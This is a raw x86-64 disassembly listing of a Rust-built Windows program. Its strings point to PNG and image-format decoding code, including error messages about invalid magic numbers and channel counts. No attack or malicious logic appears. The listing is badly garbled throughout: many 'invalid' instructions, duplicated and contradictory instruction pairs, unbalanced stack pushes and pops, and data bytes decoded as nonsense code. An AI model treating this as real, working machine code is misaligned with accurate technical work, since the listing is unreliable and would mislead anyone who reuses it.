mov r10, qword [rsp + 0x128]
cmp rcx, r10
cmovae rcx, r10
xor r10d, r10d
cmp rcx, r10
je 0x1400628af
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, rdx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, rax
mov rdx, rax
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, r9
mov rdx, r9
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
jmp 0x1400629e7
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, rbx
mov rdx, rbx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, rdi
mov rdx, rdi
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, r15
mov rdx, r15
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, qword [rsp + 0x108]
mov rdx, rcx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
jmp 0x1400629bb
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
jmp 0x140062a40
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, rbx
mov rdx, qword [rsp + 0x270]
call fcn.1401c6f20
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, rbx
jmp 0x140062a7d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, rbx
mov rdx, qword [rsp + 0x260]
call fcn.1401c6f20
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, rdi
mov rdx, r14
call fcn.1401c6f20
int3
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add eax, dword [rax]
add byte [rcx - 0x48], al
and byte [rcx], al
add byte [rax], al
vzeroupper
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi], 1
inc rsi
lea rdx, [rsp + 0x100]
mov r8d, 0x13f
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
vmovaps xmm6, xmmword [rbp + 0x470]
vmovaps xmm7, xmmword [rbp + 0x480]
vmovaps xmm8, xmmword [rbp + 0x490]
vmovaps xmm9, xmmword [rbp + 0x4a0]
vmovaps xmm10, xmmword [rbp + 0x4b0]
xchg ebp, eax
mov al, 4
add byte [rax], al
vmovaps xmm11, xmmword [rbp + 0x4c0]
vmovaps xmm12, xmmword [rbp + 0x4d0]
vmovaps xmm13, xmmword [rbp + 0x4e0]
add ch, al
js 0x140064cd7
movsd dword [rdi], dword [rsi]
rol byte [rax + rax], 1
add ch, al
js 0x140064cdf
lodsd eax, dword [rsi]
loopne 0x140064cbe
add byte [rax], al
vmovaps xmm14, xmmword [rbp + 0x4f0]
sub byte [rbp + 0x4f0], dh
vmovaps xmm15, xmmword [rbp + 0x500]
lea rsp, [rbp + 0x510]
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rbp
vzeroupper
ret
push rsi
push rsi
push rdi
push rbx
sub rsp, 0xf0
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x60], xmm7
movaps xmmword [rbp + 0x50], xmm6
and rsp, 0xffffffffffffffe0
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
movaps xmm6, xmmword [r9]
movaps xmm7, xmmword [r9 + 0x10]
lea rdx, [rsp + 0x20]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm7
lea r14, [rsp + 0x60]
mov rcx, r14
call fcn.140064ece
movaps xmm0, xmmword [rdi]
movaps xmm1, xmmword [rdi + 0x10]
lea rdx, [rsp + 0x40]
movaps xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm1
mov rcx, rsi
mov r8, r14
call fcn.140063563
mov rax, qword [rbx]
movaps xmm0, xmmword [rax]
movaps xmm1, xmmword [rax + 0x10]
adc byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rdx], esi
adc byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rdx], esi
movaps xmmword [rdx + 0x10], xmm7
lea r8, [rsp + 0xa0]
movaps xmmword [r8], xmm0
movaps xmmword [r8 + 0x10], xmm1
adc byte [rax - 0x7d], cl
invalid
and byte [rax - 0x77], cl
int1
call fcn.1400637b2
movaps xmm6, xmmword [rbp + 0x50]
push rax
push rax
movaps xmm7, xmmword [rbp + 0x60]
lea rsp, [rbp + 0x70]
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
and al, 0x80
add byte [rax], al
add byte [rdi + rcx + 0x29], al
lea esp, [rax]
add dword [rax], eax
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
movaps xmmword [rbp + 0x110], xmm8
movaps xmmword [rbp + 0x100], xmm7
invalid
test dword [rax], edx
add dword [rax], eax
add byte [rdi], cl
sub dword [rbp + 0x100], edi
invalid
add byte [rdi], cl
sub dword [rbp + 0xf0], esi
add byte [rax], al
invalid
movaps xmmword [rbp + 0xf0], xmm6
add byte [rax], al
add byte [rax - 0x7d], cl
in al, 0xe0
and rsp, 0xffffffffffffffe0
mov rsi, rcx
movaps xmm6, xmmword [rdx]
sub byte [rdx], dh
movaps xmm7, xmmword [rdx + 0x10]
lea rdx, [rsp + 0x80]
movaps xmmword [rdx + 0x10], xmm7
jp 0x140064ded
jp 0x140064ded
movaps xmmword [rdx], xmm6
lea rdi, [rsp + 0xc0]
mov rcx, rdi
call fcn.140062f0d
loope 0x140064dee
invalid
dec dword [rax - 0x73]
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rdx + 0x10], edi
invalid
lea rdx, [rsp + 0xa0]
movaps xmmword [rdx + 0x10], xmm7
invalid
adc byte [rdi], cl
sub dword [rdx], esi
movaps xmmword [rdx], xmm6
lea rbx, [rsp + 0xe0]
mov rcx, rbx
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.140062efc
push 1
loopne case.0x14003c171.431
invalid
jmp [rdx + 1]
pop rax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], eax
and al, 0x38
and al, 0x38
mov dword [rsp + 0x30], eax
and al, 0x30
xor byte [rcx - 0x76d7dbbc], cl
and al, 0x20
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
lea rdi, [rsp + 0x100]
push 4
pop rdx
push 3
pop r8
push 2
pop r9
mov rcx, rdi
call fcn.140062f1e
lea r14, [rsp + 0x60]
mov rcx, r14
int1
int1
mov rdx, rbx
mov r8, rdi
call fcn.140062f5e
movaps xmm8, xmmword [r14]
sub byte [rsi], al
sub byte [rsi], al
movaps xmm9, xmmword [r14 + 0x10]
lea rdx, [rsp + 0x120]
movaps xmmword [rdx + 0x10], xmm7
sub dword [rdx + 0x10], edi
adc byte [rax - 0x73], cl
xchg esp, eax
and al, 0x20
add dword [rax], eax
add byte [rdi], cl
sub dword [rdx + 0x10], edi
adc byte [rdi], cl
sub dword [rdx], esi
movaps xmmword [rdx], xmm6
lea r8, [rsp + 0x140]
movaps xmmword [r8 + 0x10], xmm9
sub dword [rax + 0x10], ecx
invalid
adc byte [rbp + 0xf], al
sub dword [rax], eax
invalid
movaps xmmword [r8], xmm8
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.140062f70
movaps xmmword [r14 + 0x10], xmm9
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [r14], xmm8
add rsi, 0x20
lea rdx, [rsp + 0x60]
invalid
mov rcx, rsi
call fcn.140062f82
loopne 0x140064ea0
invalid
invalid
loopne 0x140064ea0
invalid
dec dword [rdi]
sub byte [rbp + 0xf0], dh
movaps xmm6, xmmword [rbp + 0xf0]
add byte [rax], al
add byte [rdi], cl
movaps xmm7, xmmword [rbp + 0x100]
movaps xmm7, xmmword [rbp + 0x100]
mov ebp, 0x100
add byte [rdi + rcx + 0x28], al
test dword [rax], edx
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
invalid
invalid
movaps xmm8, xmmword [rbp + 0x110]
movaps xmm9, xmmword [rbp + 0x120]
movaps xmm1, xmmword [rbp + 0x120]
movaps xmm1, xmmword [rbp + 0x120]
lea esp, [rax]
add dword [rax], eax
add byte [rax - 0x73], cl
movsd dword [rdi], dword [rsi]
xor byte [rcx], al
add byte [rax], al
lea rsp, [rbp + 0x130]
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rbp
ret
std
outsd dx, dword [rsi]
add al, ch
std
jae 0x140064ea6
sbb al, ch
std
jg 0x140064edc
vzeroupper
ret
clc
ja 0x140064ea2
in al, dx
rol byte [rax], 0
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
and rsp, 0xffffffffffffffe0
add byte [rax], al
and esp, 0xffffffe0
add byte [rax], al
add byte [rbp + 0x4d], dh
mov esi, ecx
cmp dword [rcx + 0x220], 0
jl 0x140064f46
or byte [rax - 0x73], cl
push rsp
and al, 0x40
invalid
invalid
jl case.0x140085b76.485
invalid
idiv bh
call qword [rax + 0x40658d48]
nop
lea rsp, [rbp + 0x40]
lea esp, [rbp + 0x40]
lea esp, [rbp + 0x40]
pop rdi
sub byte [rbx], bl
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
invalid
sbb eax, dword [rax]
invalid
add esi, 0x220
and al, 0x60
and al, 0x60
and byte [rax], al
sbb dword [rcx], ebp
sbb eax, dword [rax]
loop 0x140064fb1
or eax, edx
invalid
and rsp, 0xffffffffffffffe0
vmovdqu ymm0, ymmword [rdx]
loopne 0x140064f6a
invalid
vpmovzxdq ymm1, xmmword [rdx + 0x10]
vmovdqa ymmword [rsp + 0x20], ymm1
std
jg 0x140064ffe
and al, 0x20
std
jg 0x140064ffe
and al, 0x20
and al, 0x20
vpand ymm0, ymm0, ymmword [0x1401cdf00]
vpsllvd ymm1, ymm0, ymmword [0x1401cdd40]
or eax, 0x168d7b
invalid
add ah, al
loop 0x14006503c
or eax, 0x168d7b
lea edx, [rsi]
add ah, al
loop 0x140065045
vpsrlvd ymm0, ymm0, ymmword [0x1401cdd60]
add eax, 0x168d92
vmovdqa ymm2, ymmword [0x1401cdd80]
vpermd ymm0, ymm2, ymm0
insd dword [rdi], dx
rol ch, 0xfd
jmp 0x140064fa0
vpand ymm0, ymm0, ymmword [0x1401cdda0]
insd dword [rdi], dx
rol ch, 0xfd
jmp 0x140064fa0
mov ecx, 0x4800168d
mov rsi, rcx
mov esi, ecx
lea rdx, [rsp + 0x40]
and al, 0x40
vmovdqa ymmword [rdx], ymm0
add rcx, 0x20
vzeroupper
call case.0x1400573f7.463
vmovaps ymm0, ymmword [rsp + 0x20]
and al, 0x20
clc
ja 0x140064fe3
xchg ecx, eax
std
invalid
inc ebp
cld
sub byte [rsp + 0x20], al
and al, 0x20
and al, 0x20
vmovaps ymmword [rsi], ymm0
lea rsp, [rbp + 8]
lea esp, [rbp + 8]
pop rsi
pop rbp
vzeroupper
ret
std
outsd dx, dword [rsi]
add al, ah
ret 0x45fd
add ebp, eax
clc
ja 0x140064fe7
ja 0x140064ff8
add al, ah
ret
or al, 0
nop
ja 0x14006500a
push rsi
push rbp
add al, byte [rax]
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x7d], cl
in al, 0xe0
mov eax, 0x240
lea edx, [rsp + 0x40]
and al, 0x40
add byte [rax], al
add byte [rbx - 0x7697db84], cl
clc
invalid
xlatb
and ebx, edx
lea esi, [rbx + 5]
add edi, edx
fadd qword [rcx - 0x3f]
in al, dx
sbb al, byte [rcx + 1]
int3
cmp al, 0x28
add edi, 0xfc000000
clc
invalid
dec edi
and eax, eax
rol dword [rbp + 0x21], 1
enter 0x945, 0xfffffffffffffff8
mov ebx, edx
adc al, 0x44
or edx, edx
leave
loope 0x14006517f
rol ecx, 0xe9
adc al, byte [rcx - 0x3f]
loopne 0x140065183
pop rsp
and al, 0x40
mov esi, dword [rsp + 0x44]
invalid
and byte [rbx + rax + 0x44], al
and al, 0x4c
and al, 0x30
invalid
dec dword [rcx + 0x7789441f]
add al, 0x44
mov dword [rdi + 8], r15d
invalid
or byte [rbx + 0x46890c47], r9b
or al, 0x48
lea esp, [rbp + 0x218]
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbx + 0x5f], bl
mov ebx, ecx
adc dword [rcx], edx
adc dword [rcx], edx
adc dword [rcx], edx
adc dword [rcx], edx
and esi, ecx
and ah, byte [rdx]
and ah, byte [rdx]
and ah, byte [rdx]
and ah, byte [rdx]
mov rdi, rcx
mov rdi, rcx
mov rdi, rcx
mov byte [rax - 0x77777778], cl
mov byte [rax + 0x4cd32148], cl
and ebx, edx
invalid
mov byte [rax - 0x77777778], cl
mov byte [rax + 0x48888888], cl
and ebx, edx
mov eax, edi
stc
mov esi, edi
in al, dx
int 0x4c
imul ebp, esi
imul ebp, eax
xor ebp, ebp
cmc
invalid
xor ebp, edx
mov edx, edi
cli
test byte [rax + 0xf], 0xaf
imul ecx, edi
scasd eax, dword [rdi]
iretd
enter 0x314c, 0xfffffffffffffff0
and esp, ecx
mov byte [rax + 0x48888888], cl
and eax, ecx
and al, 0x20
movaps xmmword [rsp + 0x10], xmm7
movaps xmmword [rsp], xmm6
sub dword [rsp], esi
sub dword [rsp], esi
xor al, 0x24
movdqu xmm0, xmmword [rdx]
pxor xmm0, xmmword [rcx + 0x10]
movdqa xmm1, xmmword [rcx]
pshufd xmm2, xmm1, 0xee
out dx, al
out dx, al
pxor xmm2, xmm1
pshufd xmm3, xmm0, 0xee
fsubr st(6)
fsubr st(6)
pxor xmm3, xmm0
pclmulqdq xmm3, xmm2, 0
movdqa xmm5, xmm0
pclmulqdq xmm5, xmm1, 0
pclmulqdq xmm0, xmm1, 0x11
movdqa xmm4, xmm5
pxor xmm4, xmm0
pxor mm4, mm0
pxor mm4, mm0
pxor xmm4, xmm3
pshufd xmm6, xmm5, 0xe
jo case.0x140042142.240
invalid
pshufd xmm1, xmm4, 0xee
movdqa xmm2, xmm5
psrlq xmm2, 2
psrlq mm2, 2
psrlq mm2, 2
movdqa xmm3, xmm5
psrlq xmm3, 7
psrlq mm3, 7
psrlq mm3, 7
jae 0x140065349
invalid
pxor xmm3, xmm2
movdqa xmm2, xmm5
outsd dx, dword [rsi]
invalid
movdqa xmm8, xmm5
outsd dx, dword [rsi]
invalid
movq mm0, mm5
movdqa xmm7, xmm5
pxor xmm1, xmm5
psrlq xmm5, 1
pxor xmm3, xmm5
pshufd xmm5, xmm0, 0xee
psllq xmm2, 0x3f
pxor xmm2, xmm6
psllq xmm8, 0x3e
psllq xmm7, 0x39
pxor xmm7, xmm8
pxor mm7, mm0
pxor xmm2, xmm4
pxor xmm7, xmm2
movdqa xmm4, xmm7
outsd dx, dword [rsi]
out 0x66, eax
psrlq mm4, 1
invalid
invalid
outsd dx, dword [rsi]
out 0x66, eax
psrlq mm4, 1
invalid
add dword [rsi + 0xf], esp
outsd dx, dword [rsi]
movdqa xmm6, xmm7
psrlq xmm6, 2
pxor xmm6, xmm5
out dx, eax
cmc
mul dword [rsi + 0xf]
jae 0x1400653a2
add ah, byte [rsi + 0xf]
out dx, eax
cmc
movdqa xmm5, xmm7
psrlq xmm5, 7
pxor xmm5, xmm4
pxor mm5, mm4
pxor xmm5, xmm6
pxor xmm5, xmm7
movdqa xmm4, xmm2
movq mm4, mm2
psllq xmm4, 0x3f
movdqa xmm6, xmm2
movq mm6, mm2
movq mm6, mm2
psllq xmm6, 0x3e
pxor xmm6, xmm3
psllq xmm2, 0x39
pxor xmm2, xmm4
out dx, eax
invalid
pxor xmm2, xmm6
pxor xmm1, xmm0
pxor xmm1, xmm2
out dx, eax
retf 0xf66
insb byte [rdi], dx
int 0x66
movq qword [rcx + 0x10], mm1
out dx, eax
invalid
out dx, eax
retf 0xf66
movq qword [rcx + 0x10], mm1
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
add rsp, 0x38
ret
push rdi
push rbx
sub rsp, 0x40
mov rbx, rdx
mov rsi, rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
lea rdx, [0x140288be0]
mov r8d, 1
add bh, bh
push rax
sbb byte [rax - 0x73], cl
jl 0x14006547f
xor byte [rax - 0x77], cl
invalid
mov byte [rdi + 8], al
mov byte [rdi + 9], 0
xor r15d, r15d
lea rbx, [0x14001d0bd]
lea r14, [rsp + 0x28]
and al, 0x28
sbb byte [rax - 0x73], cl
jl 0x14006547f
xor byte [rax - 0x77], cl
invalid
and al, 0x28
cmp r15, 4
je 0x140065497
lea rax, [rsi + r15]
add al, 0x3e
inc r15
mov qword [rsp + 0x28], rax
mov rcx, rdi
mov rdx, r14
mov edx, esi
mov r8, rbx
call fcn.14002b270
jmp 0x140065475
mov rcx, qword [rsp + 0x30]
mov dl, byte [rsp + 0x38]
call fcn.14002b3b0
nop
add rsp, 0x40
cmp al, ch
or ebx, dword [rdi - 4]
call qword [rax + 0x40c48348]
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
sub esp, 0x98
movzx eax, byte [rcx]
add byte [rdi], cl
mov dh, 1
lea r8, [0x14028be40]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov eax, dword [rcx + 4]
bswap eax
lea rcx, [rsp + 0x20]
mov dword [rcx], eax
lea rax, str.fioqinvalid_number_of_channels:
and al, 0x1b
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x68
and al, 0x1b
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x68
mov qword [r9], rax
lea rax, [0x14006574e]
mov qword [r9 + 8], rax
mov qword [r9 + 0x10], rcx
lea rax, case.0x1400474a4.149
mov qword [r9 + 0x18], rax
lea rax, str.invalid_magic:_expected
add eax, 0x1b24a0
add eax, 0x1b24a0
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov eax, 2
add byte [rax], al
add byte [rax], al
mov qword [r8 + 8], rax
mov dword [rax + 8], eax
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], r9
jmp 0x140065734
mov rax, qword [rcx + 0x10]
lea r8, [rsp + 0x20]
mov qword [r8], rax
mov eax, dword [rcx + 4]
lea r9, [rsp + 0x34]
mov dword [r9], eax
mov eax, dword [rcx + 8]
lea rcx, [rsp + 0x28]
mov dword [rcx], eax
lea rax, [rsp + 0x38]
mov qword [rax], r8
lea r8, [fcn.140024bb0]
mov qword [rax + 8], r8
mov qword [rax + 0x10], r9
lea r8, [0x140029230]
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], r8
lea rcx, str.invalid_image_length:__bytes_for
lea ecx, [0x140217aa8]
lea ecx, [0x140217aa8]
sbb eax, dword [rax]
lea r8, [rsp + 0x68]
mov qword [r8], rcx
mov ecx, 3
jmp 0x140065658
mov al, byte [rcx + 1]
lea rcx, [rsp + 0x20]
mov byte [rcx], al
lea rax, [rsp + 0x68]
mov qword [rax], rcx
or byte [rax - 0x73], cl
or eax, 0xfffc4a7c
or byte [rax - 0x73], cl
or eax, 0xfffc4a7c
mov qword [rax + 8], rcx
lea rcx, str.invalid_color_space:___expected_0_or_1_
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov qword [r8 + 8], 2
and qword [r8 + 0x20], 0
invalid
and byte [rax], al
add byte [rcx - 0x77], cl
adc byte [rcx - 0x39], cl
sbb byte [rcx], al
add byte [rax], al
add cl, ch
invalid
add dword [rax], eax
invalid
invalid
mov eax, dword [rcx + 4]
lea r8, [rsp + 0x28]
mov dword [r8], eax
mov eax, dword [rcx + 8]
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov dword [rcx], eax
lea rax, [rsp + 0x68]
mov qword [rax], r8
lea r8, [0x140029230]
mov qword [rax + 8], r8
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r8
lea rcx, str._z__
or eax, 0x1b2454
or eax, 0x1b2454
lea r8, [rsp + 0x38]
mov qword [r8], rcx
or byte [rcx + 2], bh
or byte [rcx + 2], bh
jmp 0x140065658
lea rax, str.invalid_padding__stream_end_marker_mismatch_
jmp 0x1400656d2
mov al, byte [rcx + 1]
lea rcx, [rsp + 0x20]
mov byte [rcx], al
lea rax, [rsp + 0x68]
mov qword [rax], rcx
lea rcx, [0x14002a020]
mov qword [rax + 8], rcx
or byte [rax - 0x73], cl
or eax, 0x1b239d
or byte [rax - 0x73], cl
or eax, 0x1b239d
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
jmp 0x140065738
add byte [rax], al
or byte [rcx - 0x7d], cl
invalid
add byte [rax], al
mov rax, qword [rcx + 8]
lea r8, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov qword [r8], rax
mov rax, qword [rcx + 0x10]
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x68]
mov qword [rax], r8
lea r8, [fcn.140024bb0]
mov qword [rax + 8], r8
mov qword [rax + 0x10], rcx
adc byte [rcx + rcx*4 + 0x40], cl
sbb byte [rax - 0x73], cl
or eax, 0x1b2460
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov qword [r8 + 8], 3
add byte [rcx - 0x7d], cl
invalid
and byte [rax], al
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], 2
jmp 0x140065738
add byte [rcx - 0x7d], cl
invalid
lea rax, str.8__
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 1
add byte [rax], al
add byte [rax], al
mov qword [r8 + 0x10], 8
xorps xmm0, xmm0
movups xmmword [r8 + 0x18], xmm0
jmp 0x140065738
add rcx, 8
lea rax, [rsp + 0x20]
mov qword [rax], rcx
lea rcx, [rsp + 0x68]
mov qword [rcx], rax
lea rax, case.0x1400089d2.68
mov qword [rcx + 8], rax
lea rax, str.i_o_error:
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov eax, 1
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rax
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.140065769
nop
add rsp, 0x98
ret
lea r14, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
sbb al, byte [rax]
lea rbx, [r8*2 + 1]
cmp rbx, rsi
jae 0x140071d9d
lea rax, [r8 + r8]
lea rcx, [rax + 2]
cmp rcx, rsi
jae 0x140071d70
movzx ecx, word [rdi + rbx*2]
xor edx, edx
cmp cx, word [rdi + rax*2 + 4]
setl dl
add rbx, rdx
cmp r8, rsi
jae 0x140071da7
cmp rbx, rsi
jae 0x140071dbc
movzx eax, word [rdi + r8*2]
cmp ax, word [rdi + rbx*2]
jge 0x140071d9d
mov qword [rsp + 0x20], r14
mov rcx, rdi
mov rdx, rsi
mov r9, rbx
call fcn.140071217
mov r8, rbx
jmp 0x140071d45
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.1401c6eb0
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov rcx, rbx
mov rdx, rsi
call fcn.1401c6eb0
int3
sub al, 0xf9
inc ebx
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
mov r14, rcx
mov r15, qword [rcx]
mov rsi, qword [rcx + 0x10]
jno 0x140071ed9
cmp r15, rsi
jbe 0x140071f1e
imul r8, r15, 7
mov rcx, qword [r14 + 8]
test rsi, rsi
test esi, esi
test esi, esi
je 0x140071f0c
imul rdi, rsi, 7
mov qword [rsp + 0x20], rdi
and al, 0x20
and al, 0x20
push 1
pop rdx
mov r9, rdx
call fcn.140071e08
mov rbx, rax
test rax, rax
jne case.0x14002f63b.465
mov qword [rbp - 8], r15
mov qword [rbp - 0x10], r14
push 1
pop rcx
mov rdx, rdi
call fcn.1401c66e0
invalid
invalid
add byte [rdi], cl
invalid
adc eax, 0x6a0b0f00
add dword [rbx + 0x48], ebx
mov edx, ebx
push 1
pop rbx
mov rdx, rbx
call fcn.140004b0a
sub edi, ecx
dec dword [rcx - 0x77]
mov qword [r14 + 8], rbx
mov qword [r14], rsi
mov rax, qword [r14 + 8]
mov qword [r14 + 8], rbx
mov dword [rsi + 8], ebx
mov qword [r14], rsi
mov rax, qword [r14 + 8]
mov rdx, rsi
mov edx, esi
add rsp, 0x48
pop rbx
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
push rdi
push rbx
sub rsp, 0x28
invalid
sub byte [rax - 0x73], cl
push 0x40
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov rcx, qword [rbp - 8]
call fcn.140071f66
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rbp
ret
test ecx, ecx
leave
je 0x140071f7f
mov rax, rdx
imul r8, rcx, 7
ror byte [rbx + rbp*2 - 0x3f], 1
invalid
mov edx, 1
add dword [rax], eax
add byte [rax], al
mov rcx, rax
mov ecx, eax
jmp fcn.140004b0a
stc
inc ebx
ret
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x77], cl
invalid
test rdx, rdx
test edx, edx
sub byte [rax - 0x77], cl
invalid
test edx, edx
je 0x140071fb0
mov rdi, rdx
movabs rax, 0x124924924924924a
adc cl, byte [rax + 0x39]
ret 0x1c72
adc cl, byte [rax + 0x39]
ret 0x1c72
and qword [rsi + 8], 0
mov r14d, 1
jmp 0x140071fe6
and qword [rsi + 8], 0
or byte [rax], al
mov qword [rsi + 0x10], 1
jmp case.0x140039166.440
adc byte [rcx], al
add byte [rax], al
add bl, ch
and al, 0x48
imul ebx, edi, 7
imul rbx, rdi, 7
mov r14d, 1
mov ecx, 1
add byte [rax - 0x77], cl
invalid
call fcn.1400710b6
invalid
invalid
dec dword [rax - 0x7b]
invalid
je 0x140071ff3
add byte [rax - 0x77], cl
invalid
invalid
sal byte [rax + rbx + 0x48], 0x89
jle 0x140071fe7
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rax
xor r14d, r14d
mov qword [rsi], r14
mov dword [rsi], esi
add rsp, 0x28
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], rbx
pop rsi
adc bl, ch
invalid
pop rsi
adc bl, ch
in eax, 0x56
sub rsp, 0x20
mov rsi, qword [rcx]
lea rcx, [rsi + 0x10]
call fcn.140072038
cmp rsi, 0xffffffffffffffff
je 0x140072031
lock dec qword [rsi + 8]
jne 0x140072031
mov edx, 8
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.140001b50
nop
add rsp, 0x20
pop rsi
ret
in al, dx
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rcx
mov rcx, qword [rcx]
sub rcx, 0xffffffffffffff80
jmp 0x18efa08d8
or al, 0
mov rcx, qword [rbp - 0x10]
add rsp, 0x30
pop rbp
jmp fcn.140072086
jmp 0x18efa08d8
push rdi
push rbx
sub rsp, 0x50
push rax
push rax
mov rax, qword [rcx]
mov r8, rax
inc r8
je 0x140072120
mov rsi, rcx
lea rcx, [rax + rax]
or al, 0
cmp rcx, r8
cmova r8, rcx
xor edx, edx
mov r9, r8
shr r9, 0x3e
sete dl
xchg esp, eax
invalid
xchg esp, eax
ret 0x8349
cmp r8, 5
mov ebx, 4
cmovae rbx, r8
lea r8, [rbx + rbx]
add edx, edx
test rax, rax
je 0x1400720ee
add eax, 0x4bb
add byte [rcx + 0xf], cl
fmul dword [r13 + r9*4 + 4]
sbb eax, dword [rcx]
ror byte [rax - 0x7b], cl
sal byte [rbp + rdx + 0x48], 0x8b
mov rax, qword [rsi + 8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsi + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov eax, 2
jmp 0x1400720f0
xor eax, eax
lea r9, [rsp + 0x38]
mov qword [r9 + 8], rax
lea rdi, [rsp + 0x20]
